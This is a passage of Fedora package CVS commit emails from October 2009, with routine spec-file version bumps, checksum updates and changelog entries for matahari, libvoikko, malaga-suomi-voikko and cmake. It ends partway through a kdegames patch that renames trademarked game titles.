+* Thu Oct 08 2009 Arjun Roy <arroy at redhat.com> - 0.0.4-7
+- Refactored for new version of qpidc.
+
 * Fri Oct 02 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 0.0.4-6
 - Rebuild for new qpidc.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/matahari/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	22 Jul 2009 14:37:53 -0000	1.2
+++ sources	8 Oct 2009 22:35:34 -0000	1.3
@@ -1 +1 @@
-206ecd968f759d2a599a0d8c9d870189  matahari-0.0.4.tar.gz
+58a3505a6287a6802a5cfdb728627a17  matahari-0.0.4.tar.gz



From arjunroy at fedoraproject.org  Thu Oct  8 22:37:13 2009
From: arjunroy at fedoraproject.org (Arjun Roy)
Date: Thu,  8 Oct 2009 22:37:13 +0000 (UTC)
Subject: rpms/matahari/F-12 import.log, 1.1, 1.2 matahari.spec, 1.3,
	1.4 sources, 1.2, 1.3
Message-ID: <20091008223713.43CA611C00DB@cvs1.fedora.phx.redhat.com>

Author: arjunroy

Update of /cvs/pkgs/rpms/matahari/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4038/F-12

Modified Files:
	import.log matahari.spec sources 
Log Message:
Updated for new qpid/qmf.




Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/matahari/F-12/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	22 Jul 2009 14:37:53 -0000	1.1
+++ import.log	8 Oct 2009 22:37:12 -0000	1.2
@@ -1 +1,2 @@
 matahari-0_0_4-4_fc11:HEAD:matahari-0.0.4-4.fc11.src.rpm:1248273178
+matahari-0_0_4-7_fc11:F-12:matahari-0.0.4-7.fc11.src.rpm:1255041409


Index: matahari.spec
===================================================================
RCS file: /cvs/pkgs/rpms/matahari/F-12/matahari.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- matahari.spec	2 Oct 2009 23:05:08 -0000	1.3
+++ matahari.spec	8 Oct 2009 22:37:13 -0000	1.4
@@ -1,7 +1,7 @@
 Summary: Qpid QMF Agent for Ovirt Nodes
 Name: matahari
 Version: 0.0.4
-Release: 6%{?dist}
+Release: 7%{?dist}
 Source: http://arjunroy.fedorapeople.org/matahari/matahari-0.0.4.tar.gz
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 License: GPLv2
@@ -10,16 +10,16 @@ URL: http://arjunroy.fedorapeople.org/ma
 
 Requires: dbus >= 1.2.12
 Requires: hal >= 0.5.12
-Requires: qpidc >= 0.5.790661
-Requires: qmf >= 0.5.790661
+Requires: qpidc >= 0.5.819819
+Requires: qmf >= 0.5.819819
 Requires: libvirt >= 0.6.2
 Requires: pcre >= 7.8
 
 BuildRequires: gcc-c++ >= 4.4.0
 BuildRequires: dbus-devel >= 1.2.12
 BuildRequires: hal-devel >= 0.5.12
-BuildRequires: qpidc-devel >= 0.5.790661
-BuildRequires: qmf-devel >= 0.5.790661
+BuildRequires: qpidc-devel >= 0.5.819819
+BuildRequires: qmf-devel >= 0.5.819819
 BuildRequires: libvirt-devel >= 0.6.2
 BuildRequires: pcre-devel >= 7.8
 
@@ -37,9 +37,6 @@ as a set of objects with properties and 
 
 %prep
 %setup -q
-# these libraries got renamed in the latest qmf
-sed -i -e 's/-lqmfagent -lqmfcommon/-lqmfengine -lqmf/g' src/Makefile.am
-sed -i -e 's/-lqmfagent -lqmfcommon/-lqmfengine -lqmf/g' src/Makefile.in
 
 %build
 %configure
@@ -79,6 +76,10 @@ test "x%{buildroot}" != "x" && rm -rf %{
 %doc AUTHORS COPYING
 
 %changelog
+
+* Thu Oct 08 2009 Arjun Roy <arroy at redhat.com> - 0.0.4-7
+- Refactored for new version of qpidc.
+
 * Fri Oct 02 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 0.0.4-6
 - Rebuild for new qpidc.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/matahari/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	22 Jul 2009 14:37:53 -0000	1.2
+++ sources	8 Oct 2009 22:37:13 -0000	1.3
@@ -1 +1 @@
-206ecd968f759d2a599a0d8c9d870189  matahari-0.0.4.tar.gz
+58a3505a6287a6802a5cfdb728627a17  matahari-0.0.4.tar.gz



From arjunroy at fedoraproject.org  Thu Oct  8 22:38:02 2009
From: arjunroy at fedoraproject.org (Arjun Roy)
Date: Thu,  8 Oct 2009 22:38:02 +0000 (UTC)
Subject: rpms/matahari/F-11 import.log, NONE, 1.1 matahari.spec, 1.1,
	1.2 sources, 1.2, 1.3
Message-ID: <20091008223802.48FF211C00DB@cvs1.fedora.phx.redhat.com>

Author: arjunroy

Update of /cvs/pkgs/rpms/matahari/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4254/F-11

Modified Files:
	matahari.spec sources 
Added Files:
	import.log 
Log Message:
Updated for new qpid/qmf.




--- NEW FILE import.log ---
matahari-0_0_4-7_fc11:F-11:matahari-0.0.4-7.fc11.src.rpm:1255041464


Index: matahari.spec
===================================================================
RCS file: /cvs/pkgs/rpms/matahari/F-11/matahari.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- matahari.spec	22 Jul 2009 15:02:56 -0000	1.1
+++ matahari.spec	8 Oct 2009 22:38:02 -0000	1.2
@@ -1,7 +1,7 @@
 Summary: Qpid QMF Agent for Ovirt Nodes
 Name: matahari
 Version: 0.0.4
-Release: 4%{?dist}
+Release: 7%{?dist}
 Source: http://arjunroy.fedorapeople.org/matahari/matahari-0.0.4.tar.gz
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
 License: GPLv2
@@ -10,16 +10,16 @@ URL: http://arjunroy.fedorapeople.org/ma
 
 Requires: dbus >= 1.2.12
 Requires: hal >= 0.5.12
-Requires: qpidc >= 0.5.790661
-Requires: qmf >= 0.5.790661
+Requires: qpidc >= 0.5.819819
+Requires: qmf >= 0.5.819819
 Requires: libvirt >= 0.6.2
 Requires: pcre >= 7.8
 
 BuildRequires: gcc-c++ >= 4.4.0
 BuildRequires: dbus-devel >= 1.2.12
 BuildRequires: hal-devel >= 0.5.12
-BuildRequires: qpidc-devel >= 0.5.790661
-BuildRequires: qmf-devel >= 0.5.790661
+BuildRequires: qpidc-devel >= 0.5.819819
+BuildRequires: qmf-devel >= 0.5.819819
 BuildRequires: libvirt-devel >= 0.6.2
 BuildRequires: pcre-devel >= 7.8
 
@@ -77,6 +77,15 @@ test "x%{buildroot}" != "x" && rm -rf %{
 
 %changelog
 
+* Thu Oct 08 2009 Arjun Roy <arroy at redhat.com> - 0.0.4-7
+- Refactored for new version of qpidc.
+
+* Fri Oct 02 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 0.0.4-6
+- Rebuild for new qpidc.
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.0.4-5
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Thu Jul 16 2009 Arjun Roy <arroy at redhat.com> - 0.0.4-4
 - Changed buildroot value to meet fedora packaging guidelines
 - Updated project website


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/matahari/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	22 Jul 2009 15:02:56 -0000	1.2
+++ sources	8 Oct 2009 22:38:02 -0000	1.3
@@ -1 +1 @@
-206ecd968f759d2a599a0d8c9d870189  matahari-0.0.4.tar.gz
+58a3505a6287a6802a5cfdb728627a17  matahari-0.0.4.tar.gz



From vpv at fedoraproject.org  Thu Oct  8 22:54:38 2009
From: vpv at fedoraproject.org (Ville-Pekka Vainio)
Date: Thu,  8 Oct 2009 22:54:38 +0000 (UTC)
Subject: rpms/malaga-suomi-voikko/devel .cvsignore, 1.12,
	1.13 malaga-suomi-voikko.spec, 1.17, 1.18 sources, 1.12, 1.13
Message-ID: <20091008225438.B642611C00DB@cvs1.fedora.phx.redhat.com>

Author: vpv

Update of /cvs/pkgs/rpms/malaga-suomi-voikko/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11511

Modified Files:
	.cvsignore malaga-suomi-voikko.spec sources 
Log Message:
* Fri Oct 09 2009 Ville-Pekka Vainio <vpivaini AT cs.helsinki.fi> - 1.4-1
- RC3 released as stable.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/malaga-suomi-voikko/devel/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	28 Sep 2009 11:29:00 -0000	1.12
+++ .cvsignore	8 Oct 2009 22:54:35 -0000	1.13
@@ -1 +1 @@
-suomi-malaga-1.4rc3.tar.gz
+suomi-malaga-1.4.tar.gz


Index: malaga-suomi-voikko.spec
===================================================================
RCS file: /cvs/pkgs/rpms/malaga-suomi-voikko/devel/malaga-suomi-voikko.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- malaga-suomi-voikko.spec	28 Sep 2009 11:29:00 -0000	1.17
+++ malaga-suomi-voikko.spec	8 Oct 2009 22:54:35 -0000	1.18
@@ -1,15 +1,15 @@
 Name:           malaga-suomi-voikko
 Version:        1.4
-Release:        0.3.rc3%{?dist}
+Release:        1%{?dist}
 Summary:        A description of Finnish morphology written in Malaga (Voikko edition)
 
 Group:          Applications/Text
 License:        GPLv2+
 URL:            http://voikko.sourceforge.net/
 # The usual format of stable release source URLs
-#Source0:        http://downloads.sourceforge.net/voikko/suomi-malaga-%{version}.tar.gz
+Source0:        http://downloads.sourceforge.net/voikko/suomi-malaga-%{version}.tar.gz
 # The usual format of testing release source URLs
-Source0:        http://www.puimula.org/htp/testing/suomi-malaga-%{version}rc3.tar.gz
+#Source0:        http://www.puimula.org/htp/testing/suomi-malaga-%{version}rc3.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  malaga >= 7.8 python
@@ -50,6 +50,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 09 2009 Ville-Pekka Vainio <vpivaini AT cs.helsinki.fi> - 1.4-1
+- RC3 released as stable.
+
 * Mon Sep 28 2009 Ville-Pekka Vainio <vpivaini AT cs.helsinki.fi> - 1.4-0.3.rc3
 - New release candidate.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/malaga-suomi-voikko/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	28 Sep 2009 11:29:00 -0000	1.12
+++ sources	8 Oct 2009 22:54:35 -0000	1.13
@@ -1 +1 @@
-2cb4a87c1a02cd708dbeddcb352aeb54  suomi-malaga-1.4rc3.tar.gz
+2cb4a87c1a02cd708dbeddcb352aeb54  suomi-malaga-1.4.tar.gz



From vpv at fedoraproject.org  Thu Oct  8 23:03:19 2009
From: vpv at fedoraproject.org (Ville-Pekka Vainio)
Date: Thu,  8 Oct 2009 23:03:19 +0000 (UTC)
Subject: rpms/libvoikko/devel .cvsignore, 1.17, 1.18 libvoikko.spec, 1.28,
	1.29 sources, 1.17, 1.18
Message-ID: <20091008230319.41C6F11C00DB@cvs1.fedora.phx.redhat.com>

Author: vpv

Update of /cvs/pkgs/rpms/libvoikko/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14252

Modified Files:
	.cvsignore libvoikko.spec sources 
Log Message:
* Fri Oct 09 2009 Ville-Pekka Vainio <vpivaini AT cs.helsinki.fi> - 2.2.1-1
- New upstream release, fixes bugs found in 2.2



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libvoikko/devel/.cvsignore,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- .cvsignore	18 Sep 2009 09:41:52 -0000	1.17
+++ .cvsignore	8 Oct 2009 23:03:18 -0000	1.18
@@ -1 +1 @@
-libvoikko-2.2rc2.tar.gz
+libvoikko-2.2.1.tar.gz


Index: libvoikko.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvoikko/devel/libvoikko.spec,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- libvoikko.spec	18 Sep 2009 09:41:53 -0000	1.28
+++ libvoikko.spec	8 Oct 2009 23:03:18 -0000	1.29
@@ -1,15 +1,15 @@
 Name:           libvoikko
-Version:        2.2
-Release:        0.3.rc2%{?dist}
+Version:        2.2.1
+Release:        1%{?dist}
 Summary:        Voikko is a library for spellcheckers and hyphenators
 
 Group:          System Environment/Libraries
 License:        GPLv2+
 URL:            http://voikko.sourceforge.net/
 # The usual format of stable release URLs
-#Source0:        http://downloads.sourceforge.net/voikko/%{name}-%{version}.tar.gz
+Source0:        http://downloads.sourceforge.net/voikko/%{name}-%{version}.tar.gz
 # The usual format of test release URLs
-Source0:        http://www.puimula.org/htp/testing/%{name}-%{version}rc2.tar.gz
+#Source0:        http://www.puimula.org/htp/testing/%{name}-%{version}rc2.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  python glib2-devel
@@ -100,6 +100,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/libvoikko.pc
 
 %changelog
+* Fri Oct 09 2009 Ville-Pekka Vainio <vpivaini AT cs.helsinki.fi> - 2.2.1-1
+- New upstream release, fixes bugs found in 2.2
+
 * Fri Sep 18 2009 Ville-Pekka Vainio <vpivaini AT cs.helsinki.fi> - 2.2-0.3.rc2
 - 2.2rc2
 - Remove getcwd() value check patch, accepted upstream


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libvoikko/devel/sources,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- sources	18 Sep 2009 09:41:53 -0000	1.17
+++ sources	8 Oct 2009 23:03:19 -0000	1.18
@@ -1 +1 @@
-d60aa199cd6a112bca782728851f82b4  libvoikko-2.2rc2.tar.gz
+008d0c671ae0609221a4d8ab7c12f36f  libvoikko-2.2.1.tar.gz



From orion at fedoraproject.org  Thu Oct  8 23:05:20 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Thu,  8 Oct 2009 23:05:20 +0000 (UTC)
Subject: rpms/cmake/devel .cvsignore, 1.29, 1.30 cmake.spec, 1.61,
	1.62 sources, 1.29, 1.30
Message-ID: <20091008230520.5A76911C00DB@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/cmake/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15346

Modified Files:
	.cvsignore cmake.spec sources 
Log Message:
* Thu Oct 8 2009 Orion Poplawski <orion at cora.nwra.com> - 2.8.0-0.1.rc2
- Update to 2.8.0 RC 2
- Use parallel ctest in %check



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cmake/devel/.cvsignore,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- .cvsignore	29 Sep 2009 17:36:17 -0000	1.29
+++ .cvsignore	8 Oct 2009 23:05:19 -0000	1.30
@@ -1 +1 @@
-cmake-2.8.0-rc1.tar.gz
+cmake-2.8.0-rc2.tar.gz


Index: cmake.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cmake/devel/cmake.spec,v
retrieving revision 1.61
retrieving revision 1.62
diff -u -p -r1.61 -r1.62
--- cmake.spec	29 Sep 2009 17:36:18 -0000	1.61
+++ cmake.spec	8 Oct 2009 23:05:19 -0000	1.62
@@ -4,11 +4,11 @@
 # Set to bcond_with or use --without gui to disable qt4 gui build
 %bcond_without gui
 # Set to RC version if building RC, else %{nil}
-%define rcver -rc1
+%define rcver -rc2
 
 Name:           cmake
 Version:        2.8.0
-Release:        0.1.rc1%{?dist}
+Release:        0.2.rc2%{?dist}
 Summary:        Cross-platform make system
 
 Group:          Development/Tools
@@ -91,7 +91,7 @@ desktop-file-install --delete-original \
 
 %check
 unset DISPLAY
-bin/ctest -V
+bin/ctest -V %{?_smp_mflags}
 
 
 %clean
@@ -132,6 +132,10 @@ update-mime-database %{_datadir}/mime &>
 
 
 %changelog
+* Thu Oct 8 2009 Orion Poplawski <orion at cora.nwra.com> - 2.8.0-0.1.rc2
+- Update to 2.8.0 RC 2
+- Use parallel ctest in %%check
+
 * Tue Sep 29 2009 Orion Poplawski <orion at cora.nwra.com> - 2.8.0-0.1.rc1
 - Update to 2.8.0 RC 1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cmake/devel/sources,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- sources	29 Sep 2009 17:36:18 -0000	1.29
+++ sources	8 Oct 2009 23:05:19 -0000	1.30
@@ -1 +1 @@
-d849a05aa043d0e28193ae3d03928c8f  cmake-2.8.0-rc1.tar.gz
+85c51602dd00184cdc6b15db0164330d  cmake-2.8.0-rc2.tar.gz



From vpv at fedoraproject.org  Thu Oct  8 23:12:38 2009
From: vpv at fedoraproject.org (Ville-Pekka Vainio)
Date: Thu,  8 Oct 2009 23:12:38 +0000 (UTC)
Subject: rpms/libvoikko/F-12 .cvsignore, 1.17, 1.18 libvoikko.spec, 1.28,
	1.29 sources, 1.17, 1.18
Message-ID: <20091008231238.EA79F11C00DB@cvs1.fedora.phx.redhat.com>

Author: vpv

Update of /cvs/pkgs/rpms/libvoikko/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18060

Modified Files:
	.cvsignore libvoikko.spec sources 
Log Message:
* Fri Oct 09 2009 Ville-Pekka Vainio <vpivaini AT cs.helsinki.fi> - 2.2.1-1
- New upstream release, fixes bugs found in 2.2



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libvoikko/F-12/.cvsignore,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- .cvsignore	18 Sep 2009 09:41:52 -0000	1.17
+++ .cvsignore	8 Oct 2009 23:12:38 -0000	1.18
@@ -1 +1 @@
-libvoikko-2.2rc2.tar.gz
+libvoikko-2.2.1.tar.gz


Index: libvoikko.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvoikko/F-12/libvoikko.spec,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- libvoikko.spec	18 Sep 2009 09:41:53 -0000	1.28
+++ libvoikko.spec	8 Oct 2009 23:12:38 -0000	1.29
@@ -1,15 +1,15 @@
 Name:           libvoikko
-Version:        2.2
-Release:        0.3.rc2%{?dist}
+Version:        2.2.1
+Release:        1%{?dist}
 Summary:        Voikko is a library for spellcheckers and hyphenators
 
 Group:          System Environment/Libraries
 License:        GPLv2+
 URL:            http://voikko.sourceforge.net/
 # The usual format of stable release URLs
-#Source0:        http://downloads.sourceforge.net/voikko/%{name}-%{version}.tar.gz
+Source0:        http://downloads.sourceforge.net/voikko/%{name}-%{version}.tar.gz
 # The usual format of test release URLs
-Source0:        http://www.puimula.org/htp/testing/%{name}-%{version}rc2.tar.gz
+#Source0:        http://www.puimula.org/htp/testing/%{name}-%{version}rc2.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  python glib2-devel
@@ -100,6 +100,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/libvoikko.pc
 
 %changelog
+* Fri Oct 09 2009 Ville-Pekka Vainio <vpivaini AT cs.helsinki.fi> - 2.2.1-1
+- New upstream release, fixes bugs found in 2.2
+
 * Fri Sep 18 2009 Ville-Pekka Vainio <vpivaini AT cs.helsinki.fi> - 2.2-0.3.rc2
 - 2.2rc2
 - Remove getcwd() value check patch, accepted upstream


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libvoikko/F-12/sources,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- sources	18 Sep 2009 09:41:53 -0000	1.17
+++ sources	8 Oct 2009 23:12:38 -0000	1.18
@@ -1 +1 @@
-d60aa199cd6a112bca782728851f82b4  libvoikko-2.2rc2.tar.gz
+008d0c671ae0609221a4d8ab7c12f36f  libvoikko-2.2.1.tar.gz



From rdieter at fedoraproject.org  Thu Oct  8 23:12:52 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu,  8 Oct 2009 23:12:52 +0000 (UTC)
Subject: rpms/kdegames/F-10 kdegames-4.3.2-trademarks.patch, NONE,
	1.1 kdegames-4.3.1-trademarks.patch, 1.2, NONE
Message-ID: <20091008231252.949B811C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdegames/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17894/F-10

Added Files:
	kdegames-4.3.2-trademarks.patch 
Removed Files:
	kdegames-4.3.1-trademarks.patch 
Log Message:
sync trademarks patch w/devel


kdegames-4.3.2-trademarks.patch:
 kdegames-4.3.1-trademarks/README                        |   12 +-
 kdegames-4.3.1-trademarks/doc/kbattleship/index.docbook |   37 +++---
 kdegames-4.3.1-trademarks/doc/ktron/index.docbook       |   11 +-
 kdegames-4.3.1-trademarks/kbattleship/src/main.cpp      |    4 
 kdegames-4.3.1-trademarks/ktron/main.cpp                |    5 
 kdegames-4.3.1-trademarks/ktron/player.cpp              |    2 
 kdegames-4.3.2/kbattleship/src/kbattleship.desktop      |   88 +++++++---------
 kdegames-4.3.2/kbattleship/src/kbattleship.protocol     |   56 +++++-----
 kdegames-4.3.2/ktron/ktron.desktop                      |   85 +--------------
 9 files changed, 118 insertions(+), 182 deletions(-)

--- NEW FILE kdegames-4.3.2-trademarks.patch ---
diff -ur kdegames-4.3.1/doc/kbattleship/index.docbook kdegames-4.3.1-trademarks/doc/kbattleship/index.docbook
--- kdegames-4.3.1/doc/kbattleship/index.docbook	2009-02-26 10:11:22.000000000 +0100
+++ kdegames-4.3.1-trademarks/doc/kbattleship/index.docbook	2009-09-12 19:38:42.000000000 +0200
@@ -1,6 +1,6 @@
 <?xml version="1.0" ?>
 <!DOCTYPE book PUBLIC "-//KDE//DTD DocBook XML V4.2-Based Variant V1.1//EN" "dtd/kdex.dtd" [
-  <!ENTITY kappname "&kbattleship;">
+  <!ENTITY kappname "<application>KSinkShips</application>">
   <!ENTITY package "kdegames">
   <!ENTITY % addindex "IGNORE">
   <!ENTITY % English "INCLUDE" > <!-- change language only here -->
@@ -8,7 +8,7 @@
 
 <book lang="&language;">
 <bookinfo>
-<title>The &kbattleship; Handbook</title>
+<title>The &kappname; Handbook</title>
 
 <authorgroup>
 <author>
@@ -57,16 +57,17 @@
 
 <abstract>
 <para>
-&kbattleship; is a network-enabled implementation of the famous <quote>Battle Ship</quote> game for &kde;.</para>
+&kappname; is a network-enabled implementation of the famous ship sinking game for &kde;.</para>
 </abstract>
 
 <keywordset>
 <keyword>KDE</keyword>
 <keyword>kdegames</keyword>
-<keyword>kbattleship</keyword>
+<keyword>ksinkships</keyword>
 <keyword>game</keyword>
-<keyword>battleship</keyword>
-<keyword>battle</keyword>
+<keyword>sinkships</keyword>
+<keyword>sink</keyword>
+<keyword>ships</keyword>
 </keywordset>
 
 </bookinfo>
@@ -76,7 +77,7 @@
 <note><title>Gametype:</title><para>Strategy, Board</para></note><!-- Game genre. Use as many as necessary. Available game types are: Arcade, Board, Card, Dice, Toys, Logic, Strategy.-->
 <note><title>Number of possible players:</title><para>Two</para></note><!--Number of possible players. It can be: One, Two,..., Multiplayer-->
 <para>
-&kbattleship; is a Battle Ship game for &kde;. Ships are placed on a board which represents the sea. Players try to hit each others
+&kappname; is a ship sinking game for &kde;. Ships are placed on a board which represents the sea. Players try to hit each others
 ships in turns without knowing where they are placed. The first player to destroy all ships wins the game.
 </para>
 </chapter>
@@ -85,14 +86,14 @@
 <title>How to Play</title>
 <note><title>Objective:</title><para>Sink all of the opponent?s ships before the opponent sink all the ships of your own.</para></note><!--Describe the objective of the game.-->
 <para>
-If you want to play &kbattleship;, you will need two players, either play
+If you want to play &kappname;, you will need two players, either play
 against the computer or in a network against another player. To play against your computer, first select the difficulty level on the right of the status bar, and then select <guibutton>Single player</guibutton> on the welcome screen, or directly on the <menuchoice><guimenu>Game</guimenu></menuchoice> menu.</para>
 
 <para>
 To start a network game, one player has to host the game by selecting <guilabel>Host network game</guilabel> on the welcome screen, or choosing <menuchoice><guimenu>Game</guimenu>
 <guimenuitem>Host Game...</guimenuitem></menuchoice>.
 A dialog box opens which asks for a <guilabel>Nickname:</guilabel> and <guilabel>Port:</guilabel>. Normally,
-&kbattleship; will suggest your full name, but you can enter any string
+&kappname; will suggest your full name, but you can enter any string
 you want. The predefined port should be ok. However, if you encounter
 problems, you can choose any other free port above 1024.
 </para>
@@ -186,10 +187,10 @@
 <title>Multiplayer support</title>
 
 <para>
-&kbattleship; can be played online on any GGZ Gaming Zone site. You can
+&kappname; can be played online on any GGZ Gaming Zone site. You can
 find other players there, and compete against them. Just enter one
-of the available Battleship rooms with any GGZ core client, such as
-kggz, and &kbattleship; will be offered to you as your favourite
+of the available rooms with any GGZ core client, such as
+kggz, and &kappname; will be offered to you as your favourite
 game client. If a GGZ core client is installed, you can try
 out GGZ by visiting the <ulink url="ggz://live.ggzgamingzone.org/#Battleship">community site</ulink>.
 </para>
@@ -197,7 +198,7 @@
 <para>
 Remember that when playing online, the opponent might be either a
 human player or a computer player. The latter one might behave
-differently from the computer player included in &kbattleship;.
+differently from the computer player included in &kappname;.
 </para>
 
 </sect1>
@@ -314,7 +315,7 @@
 </term>
 <listitem>
 <para>
-<action>Exit</action> &kbattleship;
+<action>Exit</action> &kappname;
 </para>
 </listitem>
 </varlistentry>
@@ -394,7 +395,7 @@
 </term>
 <listitem>
 <para>
-<action>Configure the keyboard shortcuts used by &kbattleship;.</action>
+<action>Configure the keyboard shortcuts used by &kappname;.</action>
 </para>
 </listitem>
 </varlistentry>
@@ -408,7 +409,7 @@
 </term>
 <listitem>
 <para>
-<action>Configure</action> the toolbars provided by &kbattleship;.
+<action>Configure</action> the toolbars provided by &kappname;.
 </para>
 </listitem>
 </varlistentry>
@@ -437,7 +438,7 @@
 </question>
 <answer>
 <para>
-No, there is no hint system in &kbattleship;.
+No, there is no hint system in &kappname;.
 </para>
 </answer>
 </qandaentry>
@@ -474,7 +475,7 @@
 <chapter id="credits">
 <title>Credits and Licenses</title>
 
-<para>&kbattleship; Copyright 2000-2007</para>
+<para>&kappname; Copyright 2000-2007</para>
 
 <itemizedlist>
 <title>Authors</title>
diff -ur kdegames-4.3.1/doc/ktron/index.docbook kdegames-4.3.1-trademarks/doc/ktron/index.docbook
--- kdegames-4.3.1/doc/ktron/index.docbook	2009-02-26 10:11:14.000000000 +0100
+++ kdegames-4.3.1-trademarks/doc/ktron/index.docbook	2009-09-12 19:38:42.000000000 +0200
@@ -1,6 +1,6 @@
 <?xml version="1.0" ?>
 <!DOCTYPE book PUBLIC "-//KDE//DTD DocBook XML V4.2-Based Variant V1.1//EN" "dtd/kdex.dtd" [
-  <!ENTITY kappname "&ktron;">
+  <!ENTITY kappname "<application>KSnakeDuel</application>">
   <!ENTITY package "kdegames">
   <!ENTITY % addindex "IGNORE">
   <!ENTITY % English "INCLUDE">
@@ -61,7 +61,7 @@
 
 <abstract>
 <para>
-&kappname; is a simple <quote>Tron</quote> clone for &kde;, which you can
+&kappname; is a simple snake duel game for &kde;, which you can
 play alone or against a friend.
 </para>
 </abstract>
@@ -69,11 +69,12 @@
 <keywordset>
 <keyword>KDE</keyword>
 <keyword>kdegames</keyword>
-<keyword>KTron</keyword>
+<keyword>KSnakeDuel</keyword>
 <keyword>game</keyword>
-<keyword>tron</keyword>
+<keyword>snakeduel</keyword>
 <keyword>KSnake</keyword>
 <keyword>snake</keyword>
+<keyword>duel</keyword>
 </keywordset>
 </bookinfo>
 
@@ -81,7 +82,7 @@
 <title>Introduction</title>
 
 <para>
-&kappname; is a simple Tron-Clone for the
+&kappname; is a simple snake duel game for the
 <ulink url="http://www.kde.org">K Desktop Environment</ulink>. You can play
 &kappname; against the computer or a friend.
 The aim of the game is to live longer than your opponent. To do that,
diff -ur kdegames-4.3.1/kbattleship/src/main.cpp kdegames-4.3.1-trademarks/kbattleship/src/main.cpp
--- kdegames-4.3.1/kbattleship/src/main.cpp	2009-08-27 10:16:58.000000000 +0200
+++ kdegames-4.3.1-trademarks/kbattleship/src/main.cpp	2009-09-12 19:38:42.000000000 +0200
@@ -21,7 +21,7 @@
 
 int main(int argc, char** argv)
 {
-    KAboutData aboutData("kbattleship", 0, ki18n("KBattleship"), "2.0", 
+    KAboutData aboutData("kbattleship", 0, ki18n("KSinkShips"), "2.0", 
         ki18n("The KDE Battleship clone"), KAboutData::License_GPL, 
         ki18n("(c) 2000-2005  Nikolas Zimmermann, Daniel Molkentin\n"
               "(c) 2007 Paolo Capriotti"), KLocalizedString(), "http://games.kde.org/kbattleship" );
@@ -48,7 +48,7 @@
     KCmdLineArgs::init(argc, argv, &aboutData);
 
     KCmdLineOptions options;
-    options.add("!+[URL]", ki18n("URL of a KBattleship game server to connect to after startup"));
+    options.add("!+[URL]", ki18n("URL of a KSinkShips game server to connect to after startup"));
     KCmdLineArgs::addCmdLineOptions( options ); // Add our own options.
     KApplication app;
     KGlobal::locale()->insertCatalog("libkdegames");
diff -ur kdegames-4.3.1/ktron/main.cpp kdegames-4.3.1-trademarks/ktron/main.cpp
--- kdegames-4.3.1/ktron/main.cpp	2009-02-26 10:11:10.000000000 +0100
